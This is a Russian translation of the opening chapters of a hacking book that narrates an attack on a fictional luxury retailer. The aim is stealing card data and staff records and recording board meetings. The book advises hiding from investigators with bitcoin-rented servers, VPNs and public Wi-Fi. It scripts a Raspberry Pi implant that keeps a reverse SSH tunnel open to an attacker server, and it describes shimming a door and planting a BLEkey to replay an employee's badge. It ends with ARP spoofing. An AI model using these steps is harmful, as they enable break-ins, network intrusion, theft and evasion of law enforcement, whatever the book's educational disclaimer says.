Занимайся хакингом с ловкостью Бога Спарк Флоу https://hacklikeapornstar.com Перевод @Ianuaria skladchik.com Отказ от ответственности Примеры в этой книге полностью вымышлены. Описываемые инструменты и техники имеют открытый исходный код, а следовательно - доступны публично. Специалисты по безопасности и пентестеры регулярно используют их в своей работе, также как и атакующие. Если вы стали жертвой компьютерного преступления и обнаружили в этой книге демонстрацию техник или инструментов, то это никоим образом не означает, что автору этой книги можно инкриминировать любую связь с компьютерным преступлением, содержимое этой книги не дает никаких оснований полагать, что есть какая-либо связь между автором книги и преступниками. Любые действия и/или деятельность, связанные с материалом, содержащимся в этой книге, находятся целиком под вашей ответственностью. Неправильное использование информации из этой книги может стать результатом обвинений в совершении уголовного правонарушения в адрес соответствующих лиц. Автор не несет никакой ответственности за деяния лиц, использующих информацию из этой книги в преступных целях. Эта книга не призывает заниматься хакерством, взломом программного обеспечения и/или пиратством. Вся информация, представленная в книге, предназначена исключительно в образовательных целях. Она призвана помочь организациям защитить свои сети от атакующих, а следователям собрать цифровые улики во время расследования инцидентов. Совершение любых попыток по хакингу/взлому систем или тестирование систем на проникновение должно сопровождаться письменным разрешением от владельцев данных систем. Перевод выполнен в ознакомительных целях. Отблагодарить автора и приобрести данную книгу, а также другие оригинальные книги Спарка Флоу можно на его официальном сайте: https://www.hacklikeapornstar.com/best-hacking-books/ Перевод @Ianuaria skladchik.com Предисловие Модные бренды стремятся создавать элегантные образы своих продуктов и дизайна. Но что насчет систем и компьютеров, лежащих в основе их деятельности, благодаря которым осуществляется поддержка их красивых модных показов? Насколько элегантна их IT-инфраструктура и насколько сильный ущерб хакеры могут причинить им? Давайте отправимся в поэтапное путешествие, в котором мы заовним люксовый бренд (пусть и вымышленный). Начиная с самого нуля и получения первоначального доступа до удаленной записи заседаний совета директоров, мы в деталях обсудим все кастомные скрипты и техники, которые будем использовать в своей атаке, будем действовать исходя из находок, приближенных к реальной жизни, чтобы нарисовать максимально реалистичную картину. Не важно, кто вы - начинающий пентестер, мечтающий узнать о взятых из реальной жизни практиках хакинга, или опытный этичный хакер, уставший от бесчисленных курсов по Metasploit, в этой книге вы найдете уникальные методики по взлому, которые сможете опробовать в дальнейшем. Я задокументировал практически все инструменты и кастомные скрипты, использованные в этой книге. Я настоятельно рекомендую вам протестировать их самостоятельно и освоить их возможности (и ограничения) в окружении, которым владеете и контролируете именно вы. Учитывая характер этой книги, было бы нелепо предполагать, что в ней будут рассмотрены абсолютно все техники взлома, которые только можно представить, хотя я постараюсь привести как Перевод @Ianuaria skladchik.com можно больше примеров, придерживаясь заявленной цели данной книги. Я пройдусь по некоторым концепциям и системам типа Kerberos, Citrix и мейнфреймам, коротко объясняя принципы их работы и какую роль они играют в контексте сценария по взлому. Если вы почувствуете, что хотите копнуть глубже, я настоятельно рекомендую вам изучать материалы по ссылкам, которые я предлагаю по каждой теме, и исследовать темные, веселые концепции, стоящие за каждой техникой и инструментом. Примечание: кастомные скрипты и специальные команды, задокументированные в этой книге, публично доступны по адресу www.hacklikeapornstar.com. Перевод @Ianuaria skladchik.com Подготовка и напутствие “Удача - это когда подготовка встречается с возможностью”. Сенека Перевод @Ianuaria skladchik.com 30 тысяч долларов за это пальто, вы сказали? Вам когда-нибудь было любопытно во время прогулки по Пятой авеню в Нью-Йорке - или какой-либо другой фешенебельной улице - что стоит за яркими, сияющими фасадами крупных люксовых магазинов? Какого рода технологии обеспечивают обработку тысяч продаж ежедневно? Какие информационные системы обеспечивают трансляцию модных показов на экранах в этих магазинах в режиме 24/7? Если вы наделены любознательным умом, то я уверен, что к вам приходят подобные мысли. Я бы хотел поделиться с вами одной мыслью, которая возбудит ваше любопытство: если даже банки, наиболее параноидальные закрытые корпорации, с трудом обеспечивают защиту своих систем1, то каким образом это делают магазины, производящие люксовую обувь? Чтобы ответить на этот вопрос и сделать наше путешествие максимально реалистичным и увлекательным, насколько это возможно, мы представим себе вымышленный люксовый бренд под названием GibsonBird. У них есть точки продаж по всему миру, они представлены в торговых центрах и на известных модных улицах. Давайте поговорим о стратегии для нагиба! Священный Грааль Наша цель как атакующих - это не взломать все то, у чего есть IP-адрес. Зачем обходить 50 тысяч бесполезных серверов, если лишь на некоторых из них хранится нужная нам информация? 1 https://www.wired.com/2016/05/insane-81m-bangladesh-bank-heist-heres-know/ Прим. переводчика: история с похищением $81 млн со счета центробанка Бангладеш в Федеральном резервном банке (ФРБ) Нью-Йорка Перевод @Ianuaria skladchik.com Мы подстроим наши усилия под сложность и размер GibsonBird - за исключением, конечно же, возникающих время от времени соблазнов в некоторых ситуациях. Да кто вообще сможет устоять при наличии сервера под Windows 2003 SP2 с открытым SMB-портом?!2 В идеале мы хотим: ● Украсть финансовые данные всех магазинов бренда в стране: данные кредитных карт, количество продаж и т.д. ● Скачать персональные данные всех дизайнеров, менеджеров и членов правления ● Записать совещания членов правления, во время которых будут обсуждаться секретные стратегические планы Довольно амбициозно и должно увлечь нас на дальнейшее чтение этой книги. Итак, с чего мы начнем? Как нам попасть из рандомной точки на карте интернета на заседание совета директоров на 90-м этаже небоскреба в Нью-Йорке? В сценарии, представленном в предыдущей книге “Занимайся хакингом с ловкостью порнозвезды”, мы использовали два очень типовых способа проникновения в банковскую сеть: ● Взлом публичных веб-сайтов, которые хостятся в банковской инфраструктуре ● Фишинг сотрудников и развод их на запуск вредоносного кода, дающего нам удаленный доступ 2 Уязвимость MS08-067 позволяет проводить удаленное выполнение кода без аутентификации в Windows 2003 SP2. Код эксплойта публично доступен по ссылке: https://www.exploit-db.com/exploits/7104/ Перевод @Ianuaria skladchik.com Это было достаточно весело, но в этот раз мы собираемся следовать по более экзотическим путям. Мы разберемся, как атакующий с физическим доступом может нанести ущерб, который быстро перерастет в то, что СМИ назвали бы (ошибочно) продвинутой постоянной угрозой (APT). Общая идея - имплантировать небольшой образец аппаратного средства в один из множества магазинов GibsonBird. Это аппаратное средство будет работать как небольшой компьютер, который предоставит нам доступ в локальную сеть магазина, которую мы проэксплуатируем и получим доступ в корпоративную сеть, а затем заовним все магазины в стране. Вы можете подумать, что нам нужны специальные аппаратные средства и инженерные навыки, чтобы осуществить этот сценарий в духе голливудских фильмов. Но это не так. Мы пошагово разберемся, как создать эффективный небольшой бэкдор за примерно 30 баксов. Хотя б ольшая часть хакеров, занимающихся взломом на досуге, не станет идти по пути имплантирования аппаратных средств, это излюбленный метод спецслужб в различных странах. В этом есть смысл. Зачем пытаться найти (часто нестабильные) уязвимости нулевого дня3, если вы можете перехватить поставку только что заказанного нового оборудования, установить микрочип и получить доступ ко всему трафику, проходящему через это оборудование? 3 Уязвимость нулевого дня - это уязвимость, для которой еще нет патча от поставщика продукта. Представьте, что вы обнаружили уязвимость, позволяющую вам залогиниваться на любой Windows-машине, и при этом Microsoft даже понятия не имеет о существовании такой уязвимости. Это и будет уязвимость нулевого дня (zero-day), подобные уязвимости могут достигать в цене нескольких сотен тысяч долларов. Перевод @Ianuaria skladchik.com Взять к примеру АНБ. Согласно разоблачениям Сноудена4, это одна из их любимых стратегий. Изображение 1. На фотографии видно, как сотрудники АНБ аккуратно вскрывают коробку с перехваченным компьютером (маршрутизатором) Карта сокровищ Перед тем, как погрузиться в основную тему, то есть взлом GibsonBird, следует прийти к соглашению об основной гипотезе, чтобы полностью уяснить цель каждого шага, который мы будем совершать. Нам необходимо уделить время и поразмыслить об ограничениях в среде GibsonBird, которые могут потенциально привести к предсказуемым вариантам по устройству сети. 4 https://www.theguardian.com/us-news/the-nsa-files Перевод @Ianuaria skladchik.com Эта подготовительная фаза очень важна, поскольку она может великолепно помочь нам в разработке и определении оптимального плана для атаки, особенно после того, как мы окажемся внутри сети. У GibsonBird более 100 магазинов. В каждом магазине должна быть локальная сеть, соединяющая все его устройства. Как и в вашей домашней сети, у машин в магазине есть частные IP-адреса, защищающие их от нежелательного входящего трафика из интернета. Так что мы ожидаем, что это будет сегмент сети в диапазоне 192.168.1.0/24 (или иногда 172.16.0.0/16). Мы отправляемся в локальный магазин и обнаруживаем, что продавцы пользуются iPad, видимо для оптимизации рабочих процессов и быстрой регистрации новых клиентов. Перевод @Ianuaria skladchik.com Поэтому давайте добавим Wi-Fi связь для гипотетической структуры сети: Данные по продажам или отчеты должны отправляться в корпорацию либо в режиме реального времени, либо по окончании каждого рабочего дня, поэтому должен быть какой-либо туннель, связывающий все магазины с основной сетью штаб-квартиры. Конечно, могут быть какие-либо ограничения касаемо того, с какого компьютера или кто из сотрудников может связываться с корпорацией, но мы дойдем до этого позже. Перевод @Ianuaria skladchik.com Можем предположить, что магазины в каждой из стран используют одинаковую топологию сети, в которой корпорация является юридическим лицом, представляющим бренд во всех странах. Некоторые сервисы на корпоративном уровне могут даже совместно использоваться из разных стран для оптимизации расходов, но магазины, вероятнее всего, держатся отдельно в силу практических или юридических причин. В любом случае, мы получим более ясное представление об этом, попав внутрь. Нам нужно держать эту схему в уме в процессе навигации по лабиринту, которым может оказаться зарубежная сеть. Мы будем обновлять эту структуру сети по мере продвижения, но основная мысль в том, что хотя магазины и могут хранить некоторые временные данные по продажам, наша главная цель - это информационная система в штаб-квартире. Именно там находится наш священный Грааль! Перевод @Ianuaria skladchik.com Экипируемся “Человек должен придавать форму инструментам, иначе они будут придавать форму ему”. Артур Миллер Перевод @Ianuaria skladchik.com Как упоминалось ранее, идея состоит в имплантации небольшого аппаратного бэкдора в один из множества магазинов GibsonBird. Этот имплант будет связываться обратно с нашим компьютером, предоставляя нам удаленный доступ к их локальной сети. Я говорю “наш компьютер”, но это скорее анонимный сервер, который хостится где-то в интернете. В предыдущей книге “Занимайся хакингом с ловкостью порнозвезды” - я детально описал некоторые типовые настройки для использования в хакерском ремесле. Тем не менее, в целях полноты картины, я коротко напомню некоторые базовые меры безопасности. Перевод @Ianuaria skladchik.com Многоуровневый подход Наш сервер для атаки, который будет принимать и подавать все атакующие команды, это частный сервер, взятый в аренду за биткоины5, чтобы затруднить наше отслеживание при помощи платежных систем. Можете ознакомиться со списком заслуживающих внимания провайдеров по следующей ссылке.6 Мы будем называть этот сервер Front Gun (FG) (“Передовая пушка”). На нем будет крутиться дистрибутив Kali Linux7, выделенная операционная система, которая поставляется со множеством инструментов для хакинга и пентестинга. Однако, этого недостаточно, чтобы гарантировать нашу персональную безопасность. IP-адрес Front Gun будет ясно 5 https://bitcoin.org/en/how-it-works 6 http://cryto.net/~joepie91/bitcoinvps.html 7 Мне также нравится иметь и Windows-сервер, чтобы легко тестировать скрипты перед их запуском на целевых машинах. Перевод @Ianuaria skladchik.com светиться как источник всех атак, если какой-либо следователь возьмется соединить все улики. Более того, если следователи запросят доступ к этой машине Front Gun или взломают ее - в конце концов, правительство является не самым соблюдающим законы субъектом - то они отчетливо увидят наш домашний IP-адрес в логах соединений. Не самый лучший вариант развития событий! Поэтому мы будет рассчитывать на провайдера сервиса виртуальных частных сетей (VPN)8, чтобы замаскировать наш IP-адрес при соединении с сервером Front Gun. VPN-провайдеры устанавливают шифрованные туннели, скрывающие наш IP-адрес, а следовательно, нашу личность. Несмотря на их публичное соглашение о нераскрытии логов соединений (а значит и исходных IP-адресов их пользователей), совершенно нелепо полностью доверять VPN-провайдеру или даже сети Tor9, если уж на то пошло. 8 https://www.weusecoins.com/bitcoin-vpns/ 9 Проект Tor - это свободная сеть из компьютеров, взаимосвязанных друг с другом таким образом, чтобы защитить идентификационные данные всех участников. Учитывая, что любой может присоединиться к проекту и ретранслировать зашифрованный трафик, ходят упорные слухи о том, что правительственные структуры эффективно внедрились в сеть, поэтому я не рекомендую вам слепо полагаться на Tor. Перевод @Ianuaria skladchik.com Вот почему критически важно избегать использования IP-адресов вашего дома/университета/работы. Вместо этого предпочтительно соединяться через публичный Wi-Fi (кафе, железнодорожный вокзал и т.д.), чтобы обеспечить глубокую защиту. Что касается вашего локального компьютера, вы можете, например, выбрать временную операционную систему, которая живет только в памяти во время подключения USB-флешки. Таким образом, каждый раз по загрузке такой системы вы начинаете с нуля, без каких-либо улик, которые можно вам предъявить. Все инструменты для хакинга и данные, собранные в GibsonBird, будут находиться исключительно на сервере Front Gun. Вы можете узнать, как создавать “живую” USB-флешку, на которой будет хоститься любой дистрибутив Linux, по следующей ссылке.10 Операционные системы Tails и Whonix приобрели определенную репутацию в мире приватности, но сгодится любой дистрибутив Linux. 10 http://docs.kali.org/downloading/kali-linux-live-usb-install Перевод @Ianuaria skladchik.com Теперь наша атакующая инфраструктура полностью готова к действию - это была простая часть подготовки - давайте теперь сфокусируемся на аппаратном импланте. Волшебная ягодка Шоппинг во имя успеха В отличие от того, что мы, вероятно, наблюдали в голливудских фильмах, наш аппаратный имплант не будет чипом размером в один дюйм, который мы можем прикрепить к кабелю в какой-то темной комнате11, хотя эта картина не так уж и далека от реальности. Мы будем рассчитывать на технологию, которая получила огромный успех в области DIY и завоевала сердца множества технарей: Raspberry PI. Raspberry PI - это плата (“голое железо”), которая содержит необходимые компоненты для работы мини-компьютера. У нее нет экрана, клавиатуры, мыши или других понтовых наворотов, но мы сможем отлично поиграться с ней. 11 “Одиннадцать друзей Оушена” - http://www.imdb.com/title/tt0240772/ Перевод @Ianuaria skladchik.com С технической точки зрения мы можем работать с любой моделью (A, A+, B или Zero); основное различие в размере и вычислительной мощности. Однако в целях достижения скрытности, выберем самую маленькую модель, которая называется PI Zero: 66 мм (2,5 дюйма) в длину и 35 мм (1,1 дюйма) в ширину. У PI Zero 512 Мб оперативной памяти и одноядерный 1 ГГц CPU. Может показаться, что это не так уж и много, но этого более чем достаточно для того, чтобы посеять хаос в сети многомиллионного бренда. Перевод @Ianuaria skladchik.com 1. Слот для карты Micro SD. У PI нет жесткого диска, поэтому нам нужно подключить карточку Micro SD, на которой будет содержаться операционная система для загрузки. Мы выберем версию Kali Linux для Raspberry Pi, хотя теоретически подойдет любой дистрибутив Linux. 2. Micro USB для питания PI. 3. Второй micro USB, в который мы можем подключить переходник RJ45, чтобы соединить PI с роутером, к примеру. В целом, нам нужно купить следующие вещи, чтобы получить полнофункциональный бэкдор: ● ● ● ● ● Raspberry PI Zero (~ $5) Micro-USB - Ethernet переходник (~ $6) Micro-USB вилка питания, если ее у вас еще нет (~$3) 16 Гб micro SD карта (~ $8) Черный корпус для сокрытия устройства (~ $8) Суммарно: $30! Перевод @Ianuaria skladchik.com Готовность к загрузке Как только все необходимое у нас на руках, нам нужно подготовить операционную систему для работы на PI Zero. Как говорилось ранее, мы выберем ARM-версию Kali Linux. Она поставляется с большинством хакерских скриптов и инструментов, необходимых нам для работы. По загрузке файла “.img” с официального веб-сайта12, нам нужно записать его на карту SD при помощи подходящего инструмента для работы с образами. Если ваша лабораторная машина под Windows, то подойдет Win32DiskImager.13 12 https://www.offensive-security.com/kali-linux-arm-images/ 13 https://sourceforge.net/projects/win32diskimager/ Перевод @Ianuaria skladchik.com Если вы под Linux, можете выполнить простое “сырое” копирование при помощи команды dd: root@Lab:# dd bs=4M if=kali-2.1.2-rpi2.img.img of= /dev/mmcblk0p1 Совет: запустите команду dmesg в Linux , чтобы узнать имя устройства, присвоенного SD карте. После записи образа Kali на SD создаются два раздела: ● Загрузочный раздел, который запускает Kali. ● Раздел, содержащий ОС и будущие данные. Этот раздел отформатирован в EXT4, поэтому вы не увидите его в Windows. С технической точки зрения наша SD карта содержит функционирующую операционную систему, которая отлично загрузится, когда мы подключим ее к PI Zero. Однако, поскольку у нас нет клавиатуры или монитора, чтобы пройти процесс загрузки и взаимодействовать с машиной, нам нужно выполнить небольшую настройку. Нам нужно сделать так, чтобы SSH-сервер запускался во время загрузки! SSH - это безопасная оболочка, которая обеспечивает удаленный доступ к Linux-машинам. Перевод @Ianuaria skladchik.com Мы подключаем SD карту к машине c дистрибутивом Linux (например, Live Ubuntu на USB), затем добавляем одну простую строку в файл “ /etc/rc.local”, который находится во втором разделе. Этот раздел не видно под Windows, как уже говорилось ранее; поэтому нужна Linux-система. # Вывод IP-адреса _IP=$(hostname -I) || true if [ "$_IP" ]; then printf "My IP address is %s\n" "$_IP" fi # Добавление следующей строки для запуска SSH по загрузке sudo /etc/init.d/ssh start exit 0 Готово! Как только мы подключим PI Zero к источнику питания, он автоматически загрузится и запустит SSH-сервер через несколько секунд. Чтобы выяснить IP-адрес PI Zero, мы просто пингуем все доступные адреса в лабораторном сетевом сегменте (в моем случае, это 192.168.1.0/24). Команда ping отправляет пакет приветствия всем машинам и ожидает ответа, чтобы определить, какие из них работают. Мы можем использовать утилиту под названием nmap, установленную 14 по умолчанию в Kali, как вариант : 14 Если у вас есть доступ к интерфейсу администратора маршрутизатора, то вы также легко сможете увидеть адрес PI. Перевод @Ianuaria skladchik.com Как только у нас появится IP-адрес PI Zero, мы можем подключиться к нему, используя команду ssh в Linux, либо утилиту 15 putty в Windows. Дефолтные учетные данные root/toor: Первое, что мы cделаем, это изменим пароль, а также hostname (имя хоста), чтобы было проще обращаться к нему позже: Мост в небо Основное предназначение PI Zero - проникновение в локальную сеть магазина и предоставление нам интерактивного доступа для запуска команд с сервера Front Gun. 15 http://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html Перевод @Ianuaria skladchik.com То, что задумывалось как закрытая локальная сеть таким образом становится открытой сетью, к нашему удовлетворению. Локальная сеть магазина, скорее всего, очень похожа на стандартную домашнюю сеть. Простой - хотя, возможно, более мощный - маршрутизатор обслуживает все устройства в частном IP-сегменте и автоматически запрещает входящие соединения из интернета (то есть, с сервера Front Gun). Исходящие соединения, однако, скорее всего разрешены! Иначе как еще они соединяются с корпорацией? Идея теперь состоит в том, чтобы вместо прямого подключения к PI, как мы это делали в предыдущей главе, настроить PI для соединения с сервером Front Gun! Мы можем воспользоваться множеством инструментов и комбинаций скриптов, чтобы добиться этого: tgcd, metasploit, кастомные скрипты и так далее. Но мы выберем нативное решение: SSH. **Примечание по портам и службам** Небольшое отступление для обсуждения TCP/IP портов и служб: интернет - это набор взаимосвязанных систем. Каждая система может хостить различные приложения: веб-приложения (веб-сайты, например), администраторские приложения для удаленного управления системами (SSH или RDP 16 ), базы данных (MySQL, SQL Server) и так далее. Каждому приложению, к которому необходимо обратиться с удаленной системы, присваивается порт в диапазоне 65535, доступный в системе. 16 RDP (Протокол удаленного рабочего стола) - это Windows-протокол, используемый для удаленного управления машиной. Служба обычно работает на порту 3389. Перевод @Ianuaria skladchik.com Например, система будет мониторить все входящие запросы и как только она увидит запрос, упоминающий порт 80, она перенаправит запрос в адрес приложения, слушающего этот порт, обычно это веб-сайт. В случае с SSH, службой, которую мы будем использовать далее, типовым портом обычно является порт 22. Для вывода текущих портов, которые слушаются на машине, мы запускаем команду: netstat -an **** У SSH есть интересная опция, по которой создается туннель, связывающий две машины, или, если говорить более точно, связывающий два порта на двух машинах. В нашем сценарии PI будет устанавливать туннель между локальным портом 22 и портом 5555 на сервере Front Gun: Мы вводим root-пароль Front Gun для подтверждения входа в систему. Порт 5555 на сервере Front Gun теперь связан с портом 22 на PI. Любой запрос, сделанный на порт 5555 на сервере Front Gun, будет автоматически путешествовать через этот туннель и достигать порт 22 на PI (то есть, SSH-порт на PI)! Перевод @Ianuaria skladchik.com Поэтому, чтобы подключиться к PI по SSH (то есть, достичь порта 22), мы будем просто подключаться к серверу Front Gun на порт 5555. Туннель будет делать все остальное: Эта схема работает на отлично, но не может быть использована в таком виде в реальной жизни: как мы будем вводить пароль на PI для установления туннеля? Нам нужен способ для автоматизации первого соединения, без угрозы для безопасности сервера Front Gun (к примеру, удаление пароля учетной записи root - не эффективное решение…). Один из способов автоматизировать это - использование аутентификации на основе ключей.17 **Примечание по криптографии с открытым ключом** Идея, стоящая за криптографией с открытым ключом (или асимметричной криптографией), появилась в 1973 году в процессе решения простой проблемы: отправка секретного сообщения кому-либо, у кого нет общего пароля. 17 Другой способ: скачать и установить sshpass для вставки пароля в SSH-команду: https://sourceforge.net/projects/sshpass/ Перевод @Ianuaria skladchik.com Идея состоит в том, что каждому пользователю даются два ключа: один открытый (E), который может сообщаться третьей стороне, а другой закрытый (D), который должен быть защищен самым решительным образом. Эти два ключа обладают особой математической взаимосвязью, по которой один ключ может быть приведен другому. При использовании алгоритма RSA, к примеру: любое сообщение (M) в степени (E*D) равняется самому себе в специальной группе под названием Z/nZ, где n - это очень крупное число: ME*D= M [n]. Не углубляясь в математическую пропасть, которой может оказаться теория чисел, мы можем разобраться с тем, как использовать это простое свойство для подтверждения личности пользователей. Мы просто просим их вычислить число K, где K = (рандомное M, передаваемое сервером)D. Сервер, знающий их открытые ключи, вычислит KE и проверит, что результатом является действительно M, число, изначально отправленное сервером. Эта схема чрезвычайно упрощена и не включает гибридное шифрование, церемонию обмена ключами, обмен ключами, удостоверяющие центры и так далее, поскольку они попросту не важны для нашего практического примера.18 **** Первым шагом в асимметричной криптографии является генерация пары открытого/закрытого ключей для заданной учетной записи. В PI Zero мы используем команду ssh-keygen для выполнения этой задачи для учетной записи root. 18 Не знаю более крутой книги по криптографии, чем “Прикладная криптография” от Брюса Шнайера. Перевод @Ianuaria skladchik.com Мы загружаем файл id_rsa.pub на сервер Front Gun и вставляем открытый ключ в файл authorized_keys в директории /root/.ssh Пробуем заново наш предыдущий маневр с PI Zero и как видим, нам больше не нужно вводить пароль. Совет: когда мы впервые подключаемся к новой машине по SSH, то получаем приглашение на сохранение отпечатка машины. Чтобы избежать этого досадного сообщения, добавляем опцию “ -o StrictHostKeyChecking=no”, либо просто принимаем его один раз, чтобы оно исчезло. Мы почти готовы. Заключительный шаг, разумеется, это убедиться, что эта SSH команда выполняется как по загрузке, так и каждый раз, когда мы теряем соединение по какой-либо причине (нестабильная сеть, непредвиденное Ctrl+C, синдром толстых пальцев и так далее). Перевод @Ianuaria skladchik.com Мы даем инструкцию crontab, планировщику заданий в Linux, запускать скрипт watchdog каждые 15 минут. Скрипт проверяет запущенные инстансы SSH-перенаправления (основываясь на ключевом слове 5555); если их нет, он пытается установить туннель заново. #!/bin/bash if [[ $(ps -ef | grep -c 5555) -eq 1 ]]; then /usr/bin/ssh -i /root/.ssh/id_rsa -nNT -R 5555:localhost:<FrontGun_PORT> <FrontGun_IP> fi Мы выполняем заключительную проверку, подключая PI в лабораторный роутер, и прерываем соединение несколько раз, чтобы убедиться, что настройки сохраняются. После того, как мы убедились, что все работает максимально гладко, мы готовы отправиться на поиск того замечательного магазина, который будет хостить наш маленький аппаратный имплант. Вторжение Чтобы правильно подключить PI, нам нужен свободный RJ45 порт в одном из магазинов GibsonBird. Магазины в целом относятся к одной из двух основных категорий: ● Крупные фешенебельные магазины, находящиеся на главных улицах. Может быть весьма проблематично найти подходящее место для подключения PI. Обычно все IT-устройства (роутер и кабели) находятся в закрытом помещении на другом этаже. Не самая идеальная цель. Перевод @Ianuaria skladchik.com ● Магазины, разворачиваемые в торговых центрах для временных модных показов. В подобных магазинах, как правило, минимальное количество мебели и предельно упрощенная компоновка: один-два компьютера, медиа-центр и роутер, спрятанный в углу. Поскольку они временные, критически важно подгадать правильный тайминг. Мы выбираем второй тип магазина и отправляемся на охоту в торговые центры, рекламирующие GibsonBird. Очень скоро мы находим один такой, который нам подходит! Компоновка базовая, как мы и ожидали: два стула и один небольшой столик с ноутбуком, которым пользуются все менеджеры по продажам. Также замечаем несколько iPad. Мы легко находим свободный Ethernet-порт в левом углу возле отдела с сумками. Это может быть хороший вариант для подключения PI, но он не идеально расположен, ведь любой человек сможет заметить болтающийся на стене PI. Перевод @Ianuaria skladchik.com Ввиду ограниченного пространства в некоторых торговых центрах и очевидной потребности производить хорошее впечатление на клиентов, GibsonBird держит свой роутер прикрепленным ко внешней стене за пределами пространства магазина в небольшом техническом помещении. Никто не захочет наблюдать, как техник ковыряется с синими проводами, в процессе примерки костюма за 20 тысяч долларов. Это особо ценное для нас маленькое помещение защищено считывателем HID: это бесконтактная технология, которая считывает данные с карты и открывает замок, если номер карты распознан. Зазор между дверью и дверной коробкой не прикрыт. Мы можем легко вставить тонкий кусок твердого пластика в щель и Перевод @Ianuaria skladchik.com пошевелить им до тех пор, пока он не попадет за засов. Играясь с дверной ручкой, у нас получается сделать это. Заключительный легкий толчок влево открывает дверь настежь. Это может занять несколько минут, перед тем как вы сможете раскрыть ее, поэтому постарайтесь попрактиковаться заранее. Если по какой-либо причине мы не сможем открыть дверь например, засов тщательно загнан в отверстие - и мы не можем получить доступ к Ethernet-порту внутри магазина, то у нас остается только один вариант: атаковать считыватель карт! В популярных картах-ключах (не кредитных картах, обращаю ваше внимание) имеется 26-битный номер, который выполняет роль уникального идентификатора или пароля. Первый и последний бит - это биты контроля четности. Далее следует 8-битный код объекта (facility code), как правило он уникален для компании или партии карт, созданных одновременно. Наконец, есть 16-битный идентификатор, номер из 5 цифр, уникальный для каждой карты.19 Изображение 2. Источник: http://zps-electronics.com/eng/docs/wiegand_rfid_reader_avr/ Если мы сможем подобрать facility-код и номер карты сотрудника с правами доступа, то сможем сделать копию карты и открыть дверь. 19 Учитывая ограниченное количество цифр, есть высокая вероятность появления коллизий у подобного типа карт. Существуют также карты с более длинными идентификаторами. Перевод @Ianuaria skladchik.com Интересный факт: большинство карт - это пассивные карты, это означает, что они автоматически передают этот номер в открытом тексте каждый раз, когда они получают внешний физический стимул: либо от легитимного считывателя, либо от поддельного считывателя - например, это может быть Android-устройство атакующего! Копирование карты-ключа авторизованного сотрудника IT-поддержки может быть сложной задачей, поскольку требует правильного тайминга, физического контакта и дорогостоящего оборудования (Proxmark 320). Поэтому нам нужно выбрать второй вариант: разместить небольшой экземпляр аппаратного устройства внутрь считывателя карт, который будет записывать номера карт в процессе их сканирования, а затем сможет воспроизвести их позже. Два исследователя в области безопасности представили на конференции Black Hat USA инструмент под названием BLEkey21, который выполняет именно эту задачу и стоит $35. 20 https://store.ryscc.com/products/new-proxmark3-kit 21 http://hackerwarehouse.com/product/blekey/ Перевод @Ianuaria skladchik.com Мы откручиваем считыватель карт HID после снятия передней панели, затем просто подсоединяем BLEkey по трем проводам: зеленый (DATA0), белый (DATA1) и черный (GND). Они называются проводами Wiegand, поскольку используются для передачи номеров карт в адрес считывателя по протоколу Wiegand. Как и в случае с любой другой технологией, разработанной в 1970-х гг., они передают данные в виде простого, нешифрованного текста, поэтому как только номер оказывается в проводе, он становится доступен любому. Вы можете ознакомиться с полным исследованием на эту тему по следующей ссылке.22 А тем временем, мы ставим панель обратно и отправляемся выпить чашечку кофе неподалеку. 22 https://www.blackhat.com/docs/us-15/materials/us-15-Evenchick-Breaking-Access-Controls-With-BLE Key-wp.pdf Перевод @Ianuaria skladchik.com Возвращаемся через несколько часов и подключаемся к BLEkey в считывателе HID по Bluetooth, используя публично-доступный клиент.23 Мы даем ему инструкцию на воспроизведение последнего номера карты (инструкция tx 0xFF): это номер карты авторизованного технического сотрудника, который пару часов назад ковырялся там с какими-то кабелями. О чудо, дверь теперь открыта! После того, как мы открыли техническое помещение при помощи одного из методов, подходящего для данного сценария, все, что нам остается сделать - это подключить PI Zero к свободному RJ45 порту (а также к разъему электропитания) и теперь мы готовы к продолжению атаки! 23 https://github.com/linklayer/BLEKey/tree/master/client Перевод @Ianuaria skladchik.com Осознание “Первый шаг к изменениям - осознание того, что происходит. Второй шаг - приятие происходящего”. Натаниель Бранден Перевод @Ianuaria skladchik.com Разнюхиваем обстановку Устроившись с комфортом в близлежащем кафе, мы подключаемся к серверу Front Gun и замечаем, что порт 5555 открыт на машине: у нас есть работающий туннель, связывающий нас с PI Zero! Мы подключаемся по SSH к локальному порту для доступа к консоли PI Zero и приступаем к созданию нашего произведения искусства: Первая реакция при нахождении в чужом окружении - просто послушать, что происходит в сети. Многие пентестеры/хакеры спешат запускать nmap и другие инструменты сканирования и тем самым начинают транслировать свое присутствие всем администраторам сети, в то время как единственное, что нам нужно сделать для нагиба сети - это просто прислушаться. Если мы выведем конфигурацию сети, то сможем увидеть, что мы в стандартной частной IP-сети (192.168.1.0/24), в которой локальный домашний роутер выступает в роли шлюза. Перевод @Ianuaria skladchik.com Мы могли бы начать записывать пакеты, проходящие по сети с помощью одного из множества встроенных в Kali инструментов (tcpdump, tshark и так далее), но в любом случае, мы сможем успешно получить только трафик, предназначенный для PI. Ничего даже отдаленно интересного! Трафик, предназначенный для других устройств - это то, с чем мы можем поработать. Один из способов сделать это - обманным путем заставить их использовать наш PI в качестве шлюза, вместо легитимного роутера. Мы можем добиться этого, используя классическую технику ARP-спуфинга. ARP - это протокол, который преобразует IP-адреса (сетевой уровень) в MAC-адреса (физический уровень). Другими словами, он может сообщить нам, какие устройства подсоединены и к каким физическим портам в роутере. Я люблю называть его “протоколом для приветствий”. По отправке пакета с данными, устройства спамят в сеть следующее сообщение: “У кого IP-адрес 192.168.1.1?”, и первое Перевод @Ianuaria skladchik.com устройство, которое ответит “Это я работаю на порту 4 в роутере24”, получает приз, и ему отправляется пакет с данными. Чтобы развести устройства на отправку нам их данных, мы отправляем множество ARP-пакетов, которые изображают, будто бы они отправлены с основного шлюза - 192.168.1.1. Устройства, пытающиеся отправить пакеты через дефолтный шлюз, будут обмануты и отправят свои данные в адрес PI Zero, который прочитает их и перенаправит на реальный шлюз. Тоже самое и на обратном пути. -T переключатель для использования только текстового интерфейса -w dump.txt инструктирует Ettercap сохранять записанные пакеты в файл -M arp:remoteдля проведения MitM-атаки на ARP /192.168.1.1//цель для спуфинга /// - это пустой фильтр, который предписывает Ettercap отвечать на ARP-запросы, отправляемые всеми машинами output:выводит все на экран Основная проблема25, связанная с этим подходом, это его надежность с течением времени. Поскольку шлюз также отвечает на ARP-запросы, он может иногда выигрывать и получать данные. Со временем, устройство жертвы может чередовать реальный шлюз и PI Zero, что снижает качество собираемых данных. 24 С технической точки зрения устройство отвечает своим MAC-адресом, который роутер затем преобразует в номер порта. 25 Также присутствует факт того, что Ettercap не представлен по умолчанию в Kali для Raspberry, поэтому его 